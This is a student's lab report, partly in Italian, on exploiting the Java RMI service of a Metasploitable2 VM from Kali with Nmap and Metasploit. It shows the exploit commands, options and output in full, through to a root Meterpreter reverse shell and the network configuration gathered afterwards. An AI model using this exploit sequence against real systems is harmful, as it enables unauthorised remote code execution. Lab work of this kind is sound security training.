

Weekly Report

VM: Attacker: Kali-(192.168.11.111)
Target: Metasploitable2-(192.168.11.112)

Tools: Nmap, Metasploit(msfconsole)

Objectives: Gain Meterpreter session on Target exploiting port 1099 – Java RMI
gather network configuration,

Kali IP:

```
File Actions Edit View Help
Nmap x Metasploit x filip@KaLinux: ~ x

(filip@KaLinux)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel
    link/ether 08:00:27:c0:5a:c9 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec0:5ac9/64 scope link
        valid_lft forever preferred_lft forever

(filip@KaLinux)-[~]
$
```

Metasploitable2 IP:

```
File Machine View Input Devices Help
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc
    link/ether 08:00:27:ae:db:bd brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global
    inet6 fe80::a00:27ff:feae:dbbd/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ _
```

Nmap scan:

```
(filip@KaLinux)-[~]
$ nmap -A -p 1099 192.168.11.112
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-09 05:07 EST
Nmap scan report for 192.168.11.112
Host is up (0.00040s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 19.39 seconds

(filip@KaLinux)-[~]
$
```

Metasploit exploit search:

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

info 1: (mostrare le info per il modulo #1 (exploit/multi/misc/java_rmi_server))

```
msf6 > info 1
```

```
Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-15
```

Target disponibili:

```
Available targets:
Id  Name
--  ---
0   Generic (Java Payload)
1   Windows x86 (Native Payload)
2   Linux x86 (Native Payload)
3   Mac OS X PPC (Native Payload)
4   Mac OS X x86 (Native Payload)
```

Descrizione:

Description:

This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java class process. RMI method calls do not support or require any sort of authentication.

JAVA RMI:

The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a remote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.

One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.

RMI applications usually consist of two programs: a client and a server. When the server is created, the methods of its objects are made available to the client. The communication is handled by two intermediary objects: the stub and the skeleton.

Source: <https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/>

use exploit: (scelta del exploit)

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                        |
|-----------|-----------------|----------|--------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload                |
| RHOSTS    |                 | yes      | The target host(s), see https://github.com/rapid7                  |
| RPORT     | 1099            | yes      | The target port (TCP)                                              |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                       |
| SSL       | false           | no       | Negotiate SSL for incoming connections                             |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is random)               |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



msf6 exploit(multi/misc/java_rmi_server) > █
```

set RHOSTS:

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > █
```

run:

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/vJrIouVp
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:41240) at 2022-12-09 05:51:06 -0500

meterpreter > █
```


configurazione di rete:

```
meterpreter > getuid
Server username: root
meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:feae:dbbd
IPv6 Netmask   : ::
```

tabella di routing:


```
meterpreter > route

IPv4 network routes
=====
Subnet          Netmask          Gateway  Metric  Interface
-----
127.0.0.1       255.0.0.0        0.0.0.0  0        lo
192.168.11.112  255.255.255.0    0.0.0.0  0        eth0

IPv6 network routes
=====
Subnet          Netmask          Gateway  Metric  Interface
-----
::1             ::              ::       0        lo
fe80::a00:27ff:feae:dbbd ::              ::       0        eth0
meterpreter >
```

Bonus:

```
meterpreter >
meterpreter > edit /etc/network/interfaces
```



```
filip@KaLinux: ~
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```